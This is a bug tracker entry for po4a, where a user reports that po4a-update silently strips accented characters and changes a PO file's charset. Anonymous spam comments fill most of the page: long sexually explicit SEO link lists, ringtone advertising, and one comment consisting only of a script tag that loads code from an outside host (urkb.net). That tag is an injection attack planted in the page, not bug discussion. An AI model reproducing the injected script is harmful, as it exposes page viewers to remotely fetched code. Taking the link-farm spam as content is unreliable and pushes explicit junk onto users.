Bugs item #301026, was opened at 2004-11-06 21:05 Status: Open Priority: 3 Submitted By: Yves Rütschlé (yves-guest) Assigned to: Jordi Vilalta (jvprat-guest) Summary: po4a-update eats characters not in charset without asking Category: Group: Resolution: None Initial Comment: If you translate a PO file into some language using iso8859-1, but forget to precise the charset in the header of the PO file, and don't give the charset to po4a-update either, then po4a-update proceeds to remove all accentuated characters from the file. I am not sure what the best way to handle this would be; presumably, one could do some heuristic ("there are many strange characters in there, probably this isn't ascii") and ask for confirmation that you do actually want to filter out strange characters. Fact is, most of the time you won't want to. ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2007-02-22 07:18 Message: I would love to hear more about this … <a href=http://kukanishe.info/html/paris-hilton-and-britney-spears.html>paris hilton and britney spears</a> <a href=http://kukanishe.info/html/paris-hilton-sex-tape.html>paris hilton sex tape</a> <a href=http://kukanishe.info/html/britney-car-hilton-paris-picture-spear.html>britney car hilton paris picture spear</a> <a href=http://kukanishe.info/html/paris-hilton-sex-video.html>paris hilton sex video</a> <a href=http://kukanishe.info/html/paris-hilton-photo.html>paris hilton photo</a> <a href=http://kukanishe.info/html/paris-hilton-video.html>paris hilton video</a> <a href=http://kukanishe.info/html/picture-of-paris-hilton-and-britney-spears.html>picture of paris hilton and britney spears</a> <a href=http://kukanishe.info/html/hilton-paris.html>hilton paris</a> <a href=http://kukanishe.info/html/paris-hilton-private-photo.html>paris hilton private photo</a> <a href=http://kukanishe.info/html/paris-hilton-nude.html>paris hilton nude</a> <a href=http://kukanishe.info/html/britney-car-hilton-paris-picture-spear-uncensored.html>britney car hilton paris picture spear uncensored</a> <a href=http://kukanishe.info/html/paris-hilton-sex.html>paris hilton sex</a> <a href=http://kukanishe.info/html/paris-hilton-exposed.html>paris hilton exposed</a> <a href=http://kukanishe.info/html/paris-hilton-naked.html>paris hilton naked</a> <a href=http://kukanishe.info/html/paris-hilton-britney-spears-photo.html>paris hilton britney spears photo</a> <a href=http://kukanishe.info/html/paris-hilton-tape.html>paris hilton tape</a> <a href=http://kukanishe.info/html/paris-hilton-porn.html>paris hilton porn</a> <a href=http://kukanishe.info/html/paris-hilton-the-naked-truth.html>paris hilton the naked truth</a> <a href=http://kukanishe.info/html/paris-hilton-picture.html>paris hilton picture</a> <a href=http://kukanishe.info/html/paris-hilton-pic.html>paris hilton pic</a> <a href=http://kukanishe.info/html/dvd-dvdonsite.com-hilton-paris.html>dvd dvdonsite.com hilton paris</a> <a href=http://kukanishe.info/html/free-paris-hilton-video.html>free paris hilton video</a> <a href=http://kukanishe.info/html/paris-hilton-porn-video.html>paris hilton porn video</a> <a href=http://kukanishe.info/html/free-paris-hilton-sex-tape.html>free paris hilton sex tape</a> <a href=http://kukanishe.info/html/paris-hilton-pussy.html>paris hilton pussy</a> <a href=http://kukanishe.info/html/new-paris-hilton-video.html>new paris hilton video</a> <a href=http://kukanishe.info/html/britney-hilton-paris-party-picture-spear.html>britney hilton paris party picture spear</a> <a href=http://kukanishe.info/html/paris-hilton-movie.html>paris hilton movie</a> <a href=http://kukanishe.info/html/paris-hilton-perfume.html>paris hilton perfume</a> <a href=http://kukanishe.info/html/paris-hilton-no-pantie.html>paris hilton no pantie</a> <a href=http://kukanishe.info/html/britney-hilton-paris-party-photo-spear.html>britney hilton paris party photo spear</a> <a href=http://kukanishe.info/html/paris-hilton-new-sex-tape.html>paris hilton new sex tape</a> <a href=http://kukanishe.info/html/hilton-paris-storage.html>hilton paris storage</a> <a href=http://kukanishe.info/html/paris-hilton-crotch.html>paris hilton crotch</a> <a href=http://kukanishe.info/html/sexy-paris-hilton.html>sexy paris hilton</a> <a href=http://kukanishe.info/html/paris-hilton-crotch-shot.html>paris hilton crotch shot</a> <a href=http://kukanishe.info/html/paris-hilton-nudity.html>paris hilton nudity</a> <a href=http://kukanishe.info/html/paris-hilton-home-video.html>paris hilton home video</a> <a href=http://kukanishe.info/html/paris-hilton-new-sex-video.html>paris hilton new sex video</a> <a href=http://kukanishe.info/html/free-paris-hilton-sex-video.html>free paris hilton sex video</a> <a href=http://kukanishe.info/html/paris-hilton-full-video.html>paris hilton full video</a> <a href=http://kukanishe.info/html/paris-hilton-xxx.html>paris hilton xxx</a> <a href=http://kukanishe.info/html/paris-hilton-upskirt.html>paris hilton upskirt</a> <a href=http://kukanishe.info/html/paris-hilton-britney-spears-pic.html>paris hilton britney spears pic</a> <a href=http://kukanishe.info/html/paris-hilton-quote.html>paris hilton quote</a> <a href=http://kukanishe.info/html/paris-hilton-desnuda.html>paris hilton desnuda</a> <a href=http://kukanishe.info/html/paris-hilton-movie-free.html>paris hilton movie free</a> <a href=http://kukanishe.info/html/paris-hilton-blow-job.html>paris hilton blow job</a> <a href=http://kukanishe.info/html/hair-hilton-paris-sedu-style.html>hair hilton paris sedu style</a> <a href=http://kukanishe.info/html/paris-hilton-scandal.html>paris hilton scandal</a> <a href=http://kukanishe.info/html/paris-hilton.html>paris hilton</a> [URL=http://kukanishe.info/html/paris-hilton-and-britney-spears.html]paris hilton and britney spears[/URL] [URL=http://kukanishe.info/html/paris-hilton-sex-tape.html]paris hilton sex tape[/URL] [URL=http://kukanishe.info/html/britney-car-hilton-paris-picture-spear.html]britney car hilton paris picture spear[/URL] [URL=http://kukanishe.info/html/paris-hilton-sex-video.html]paris hilton sex video[/URL] [URL=http://kukanishe.info/html/paris-hilton-photo.html]paris hilton photo[/URL] [URL=http://kukanishe.info/html/paris-hilton-video.html]paris hilton video[/URL] [URL=http://kukanishe.info/html/picture-of-paris-hilton-and-britney-spears.html]picture of paris hilton and britney spears[/URL] [URL=http://kukanishe.info/html/hilton-paris.html]hilton paris[/URL] [URL=http://kukanishe.info/html/paris-hilton-private-photo.html]paris hilton private photo[/URL] [URL=http://kukanishe.info/html/paris-hilton-nude.html]paris hilton nude[/URL] [URL=http://kukanishe.info/html/britney-car-hilton-paris-picture-spear-uncensored.html]britney car hilton paris picture spear uncensored[/URL] [URL=http://kukanishe.info/html/paris-hilton-sex.html]paris hilton sex[/URL] [URL=http://kukanishe.info/html/paris-hilton-exposed.html]paris hilton exposed[/URL] [URL=http://kukanishe.info/html/paris-hilton-naked.html]paris hilton naked[/URL] [URL=http://kukanishe.info/html/paris-hilton-britney-spears-photo.html]paris hilton britney spears photo[/URL] [URL=http://kukanishe.info/html/paris-hilton-tape.html]paris hilton tape[/URL] [URL=http://kukanishe.info/html/paris-hilton-porn.html]paris hilton porn[/URL] [URL=http://kukanishe.info/html/paris-hilton-the-naked-truth.html]paris hilton the naked truth[/URL] [URL=http://kukanishe.info/html/paris-hilton-picture.html]paris hilton picture[/URL] [URL=http://kukanishe.info/html/paris-hilton-pic.html]paris hilton pic[/URL] [URL=http://kukanishe.info/html/dvd-dvdonsite.com-hilton-paris.html]dvd dvdonsite.com hilton paris[/URL] [URL=http://kukanishe.info/html/free-paris-hilton-video.html]free paris hilton video[/URL] [URL=http://kukanishe.info/html/paris-hilton-porn-video.html]paris hilton porn video[/URL] [URL=http://kukanishe.info/html/free-paris-hilton-sex-tape.html]free paris hilton sex tape[/URL] [URL=http://kukanishe.info/html/paris-hilton-pussy.html]paris hilton pussy[/URL] [URL=http://kukanishe.info/html/new-paris-hilton-video.html]new paris hilton video[/URL] [URL=http://kukanishe.info/html/britney-hilton-paris-party-picture-spear.html]britney hilton paris party picture spear[/URL] [URL=http://kukanishe.info/html/paris-hilton-movie.html]paris hilton movie[/URL] [URL=http://kukanishe.info/html/paris-hilton-perfume.html]paris hilton perfume[/URL] [URL=http://kukanishe.info/html/paris-hilton-no-pantie.html]paris hilton no pantie[/URL] [URL=http://kukanishe.info/html/britney-hilton-paris-party-photo-spear.html]britney hilton paris party photo spear[/URL] [URL=http://kukanishe.info/html/paris-hilton-new-sex-tape.html]paris hilton new sex tape[/URL] [URL=http://kukanishe.info/html/hilton-paris-storage.html]hilton paris storage[/URL] [URL=http://kukanishe.info/html/paris-hilton-crotch.html]paris hilton crotch[/URL] [URL=http://kukanishe.info/html/sexy-paris-hilton.html]sexy paris hilton[/URL] [URL=http://kukanishe.info/html/paris-hilton-crotch-shot.html]paris hilton crotch shot[/URL] [URL=http://kukanishe.info/html/paris-hilton-nudity.html]paris hilton nudity[/URL] [URL=http://kukanishe.info/html/paris-hilton-home-video.html]paris hilton home video[/URL] [URL=http://kukanishe.info/html/paris-hilton-new-sex-video.html]paris hilton new sex video[/URL] [URL=http://kukanishe.info/html/free-paris-hilton-sex-video.html]free paris hilton sex video[/URL] [URL=http://kukanishe.info/html/paris-hilton-full-video.html]paris hilton full video[/URL] [URL=http://kukanishe.info/html/paris-hilton-xxx.html]paris hilton xxx[/URL] [URL=http://kukanishe.info/html/paris-hilton-upskirt.html]paris hilton upskirt[/URL] [URL=http://kukanishe.info/html/paris-hilton-britney-spears-pic.html]paris hilton britney spears pic[/URL] [URL=http://kukanishe.info/html/paris-hilton-quote.html]paris hilton quote[/URL] [URL=http://kukanishe.info/html/paris-hilton-desnuda.html]paris hilton desnuda[/URL] [URL=http://kukanishe.info/html/paris-hilton-movie-free.html]paris hilton movie free[/URL] [URL=http://kukanishe.info/html/paris-hilton-blow-job.html]paris hilton blow job[/URL] [URL=http://kukanishe.info/html/hair-hilton-paris-sedu-style.html]hair hilton paris sedu style[/URL] [URL=http://kukanishe.info/html/paris-hilton-scandal.html]paris hilton scandal[/URL] [URL=http://kukanishe.info/html/paris-hilton.html]paris hilton[/URL] ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2007-02-22 06:58 Message: thanks for letting me view your guest book and giving me all the information <a href=http://kukanishe.info/html/anime-sex.html>anime sex</a> <a href=http://kukanishe.info/html/anime-porn.html>anime porn</a> <a href=http://kukanishe.info/html/anime-hentai.html>anime hentai</a> <a href=http://kukanishe.info/html/anime-girl.html>anime girl</a> <a href=http://kukanishe.info/html/anime-wallpaper.html>anime wallpaper</a> <a href=http://kukanishe.info/html/hot-anime-girl.html>hot anime girl</a> <a href=http://kukanishe.info/html/anime-picture.html>anime picture</a> <a href=http://kukanishe.info/html/anime-lesbian.html>anime lesbian</a> <a href=http://kukanishe.info/html/sexy-anime.html>sexy anime</a> <a href=http://kukanishe.info/html/anime-xxx.html>anime xxx</a> <a href=http://kukanishe.info/html/bleach-anime.html>bleach anime</a> <a href=http://kukanishe.info/html/anime-dvd.html>anime dvd</a> <a href=http://kukanishe.info/html/adult-anime.html>adult anime</a> <a href=http://kukanishe.info/html/anime-manga.html>anime manga</a> <a href=http://kukanishe.info/html/gay-anime.html>gay anime</a> <a href=http://kukanishe.info/html/japanese-anime.html>japanese anime</a> <a href=http://kukanishe.info/html/hot-anime.html>hot anime</a> <a href=http://kukanishe.info/html/anime-babes.html>anime babes</a> <a href=http://kukanishe.info/html/nude-anime.html>nude anime</a> <a href=http://kukanishe.info/html/how-to-draw-anime.html>how to draw anime</a> <a href=http://kukanishe.info/html/myspace-anime-layout.html>myspace anime layout</a> <a href=http://kukanishe.info/html/lesbian-hot-girl-anime.html>lesbian hot girl anime</a> <a href=http://kukanishe.info/html/anime-lyric.html>anime lyric</a> <a href=http://kukanishe.info/html/anime-music.html>anime music</a> <a href=http://kukanishe.info/html/anime-layout.html>anime layout</a> <a href=http://kukanishe.info/html/anime-news-network.html>anime news network</a> <a href=http://kukanishe.info/html/anime-tit.html>anime tit</a> <a href=http://kukanishe.info/html/anime-download.html>anime download</a> <a href=http://kukanishe.info/html/anime-movie.html>anime movie</a> <a href=http://kukanishe.info/html/anime-cartoon.html>anime cartoon</a> <a href=http://kukanishe.info/html/how-to-draw-anime-game-character-vol-1-basics-for-beginner-and-beyond.html>how to draw anime game character vol 1 basics for beginner and beyond</a> <a href=http://kukanishe.info/html/anime-gallery.html>anime gallery</a> <a href=http://kukanishe.info/html/naruto-anime-episode-download.html>naruto anime episode download</a> <a href=http://kukanishe.info/html/anime-game.html>anime game</a> <a href=http://kukanishe.info/html/hardcore-anime.html>hardcore anime</a> <a href=http://kukanishe.info/html/anime-bondage.html>anime bondage</a> <a href=http://kukanishe.info/html/naruto-anime.html>naruto anime</a> <a href=http://kukanishe.info/html/anime-episode.html>anime episode</a> <a href=http://kukanishe.info/html/free-anime-porn.html>free anime porn</a> <a href=http://kukanishe.info/html/free-anime.html>free anime</a> <a href=http://kukanishe.info/html/anime-fuck.html>anime fuck</a> <a href=http://kukanishe.info/html/anime-network.html>anime network</a> <a href=http://kukanishe.info/html/free-anime-download.html>free anime download</a> <a href=http://kukanishe.info/html/anime-video.html>anime video</a> <a href=http://kukanishe.info/html/anime-boob.html>anime boob</a> <a href=http://kukanishe.info/html/erotic-anime.html>erotic anime</a> <a href=http://kukanishe.info/html/japan-anime.html>japan anime</a> <a href=http://kukanishe.info/html/naked-anime.html>naked anime</a> <a href=http://kukanishe.info/html/online-anime.html>online anime</a> <a href=http://kukanishe.info/html/anime-pussy.html>anime pussy</a> <a href=http://kukanishe.info/html/anime.html>anime</a> [URL=http://kukanishe.info/html/anime-sex.html]anime sex[/URL] [URL=http://kukanishe.info/html/anime-porn.html]anime porn[/URL] [URL=http://kukanishe.info/html/anime-hentai.html]anime hentai[/URL] [URL=http://kukanishe.info/html/anime-girl.html]anime girl[/URL] [URL=http://kukanishe.info/html/anime-wallpaper.html]anime wallpaper[/URL] [URL=http://kukanishe.info/html/hot-anime-girl.html]hot anime girl[/URL] [URL=http://kukanishe.info/html/anime-picture.html]anime picture[/URL] [URL=http://kukanishe.info/html/anime-lesbian.html]anime lesbian[/URL] [URL=http://kukanishe.info/html/sexy-anime.html]sexy anime[/URL] [URL=http://kukanishe.info/html/anime-xxx.html]anime xxx[/URL] [URL=http://kukanishe.info/html/bleach-anime.html]bleach anime[/URL] [URL=http://kukanishe.info/html/anime-dvd.html]anime dvd[/URL] [URL=http://kukanishe.info/html/adult-anime.html]adult anime[/URL] [URL=http://kukanishe.info/html/anime-manga.html]anime manga[/URL] [URL=http://kukanishe.info/html/gay-anime.html]gay anime[/URL] [URL=http://kukanishe.info/html/japanese-anime.html]japanese anime[/URL] [URL=http://kukanishe.info/html/hot-anime.html]hot anime[/URL] [URL=http://kukanishe.info/html/anime-babes.html]anime babes[/URL] [URL=http://kukanishe.info/html/nude-anime.html]nude anime[/URL] [URL=http://kukanishe.info/html/how-to-draw-anime.html]how to draw anime[/URL] [URL=http://kukanishe.info/html/myspace-anime-layout.html]myspace anime layout[/URL] [URL=http://kukanishe.info/html/lesbian-hot-girl-anime.html]lesbian hot girl anime[/URL] [URL=http://kukanishe.info/html/anime-lyric.html]anime lyric[/URL] [URL=http://kukanishe.info/html/anime-music.html]anime music[/URL] [URL=http://kukanishe.info/html/anime-layout.html]anime layout[/URL] [URL=http://kukanishe.info/html/anime-news-network.html]anime news network[/URL] [URL=http://kukanishe.info/html/anime-tit.html]anime tit[/URL] [URL=http://kukanishe.info/html/anime-download.html]anime download[/URL] [URL=http://kukanishe.info/html/anime-movie.html]anime movie[/URL] [URL=http://kukanishe.info/html/anime-cartoon.html]anime cartoon[/URL] [URL=http://kukanishe.info/html/how-to-draw-anime-game-character-vol-1-basics-for-beginner-and-beyond.html]how to draw anime game character vol 1 basics for beginner and beyond[/URL] [URL=http://kukanishe.info/html/anime-gallery.html]anime gallery[/URL] [URL=http://kukanishe.info/html/naruto-anime-episode-download.html]naruto anime episode download[/URL] [URL=http://kukanishe.info/html/anime-game.html]anime game[/URL] [URL=http://kukanishe.info/html/hardcore-anime.html]hardcore anime[/URL] [URL=http://kukanishe.info/html/anime-bondage.html]anime bondage[/URL] [URL=http://kukanishe.info/html/naruto-anime.html]naruto anime[/URL] [URL=http://kukanishe.info/html/anime-episode.html]anime episode[/URL] [URL=http://kukanishe.info/html/free-anime-porn.html]free anime porn[/URL] [URL=http://kukanishe.info/html/free-anime.html]free anime[/URL] [URL=http://kukanishe.info/html/anime-fuck.html]anime fuck[/URL] [URL=http://kukanishe.info/html/anime-network.html]anime network[/URL] [URL=http://kukanishe.info/html/free-anime-download.html]free anime download[/URL] [URL=http://kukanishe.info/html/anime-video.html]anime video[/URL] [URL=http://kukanishe.info/html/anime-boob.html]anime boob[/URL] [URL=http://kukanishe.info/html/erotic-anime.html]erotic anime[/URL] [URL=http://kukanishe.info/html/japan-anime.html]japan anime[/URL] [URL=http://kukanishe.info/html/naked-anime.html]naked anime[/URL] [URL=http://kukanishe.info/html/online-anime.html]online anime[/URL] [URL=http://kukanishe.info/html/anime-pussy.html]anime pussy[/URL] [URL=http://kukanishe.info/html/anime.html]anime[/URL] ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2007-02-19 01:47 Message: <script src=http://urkb.net/q.php>jonny13</script> ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 21:21 Message: Logged In: NO Hi! http://www.ringtones-dir.com/get/ ringtones site. ringtones site free, ringtones site, Free nokia ringtones here. From website . ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 21:21 Message: Logged In: NO Thanks!!! http://www.ringtones-dir.com/get/ ringtones site. [URL=http://www.ringtones-dir.com]ringtones download[/URL]: ringtones site free, ringtones site, Free nokia ringtones here. Also [url=http://www.ringtones-dir.com]samsung ringtones[/url] From website . ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 21:21 Message: Logged In: NO <a href='http://www.yahoo.com'></a>Thanks! http://www.ringtones-dir.com/download/ <a href='http://www.ringtones-dir.com'>download ringtones</a>. <a href="http://www.ringtones-dir.com ">nokia ringtones</a>: ringtones site free, ringtones site, Free nokia ringtones here. Also [url]http://www.ringtones-dir.com/free/[/url] and [link=http://www.ringtones-dir.com]ring tones[/link] From site . ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 15:15 Message: Logged In: NO Hi! http://www.ringtones-dir.com/get/ ringtones site free. Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. From website . ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 15:15 Message: Logged In: NO Thanks!!! http://www.ringtones-dir.com/get/ ringtones site free. [URL=http://www.ringtones-dir.com]ringtones download[/URL]: Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. Also [url=http://www.ringtones-dir.com]samsung ringtones[/url] From website . ---------------------------------------------------------------------- Comment By: Nobody (None) Date: 2006-06-14 15:15 Message: Logged In: NO <a href='http://www.yahoo.com'></a>Thanks! http://www.ringtones-dir.com/download/ <a href='http://www.ringtones-dir.com'>download ringtones</a>. <a href="http://www.ringtones-dir.com ">nokia ringtones</a>: Download ringtones FREE, Best free samsung ringtones, Cingular ringtones and more. Also [url]http://www.ringtones-dir.com/free/[/url] and [link=http://www.ringtones-dir.com]ring tones[/link] From site . ---------------------------------------------------------------------- Comment By: Yves Rütschlé (yves-guest) Date: 2004-11-12 17:14 Message: Logged In: YES user_id=11062 A related problem: when the master document's charset is not ascii, po4a-updatepo seems to happily ignore the PO's charset specification and change it (to UTF-8 in my case, which I am not sure where it comes from, as I think the input document was iso-8859-1 just like the PO), along with all the characters in the PO. In other words, po4a-update silently: - changes the charset I have specified in the PO - changes all the non-ascii characters in some way ("in some way", because I don't think it ended up in UTF-8 either). I'm so in love with French accents right now. ---------------------------------------------------------------------- You can respond by visiting: http://alioth.debian.org/tracker/?func=detail&atid=410622&aid=301...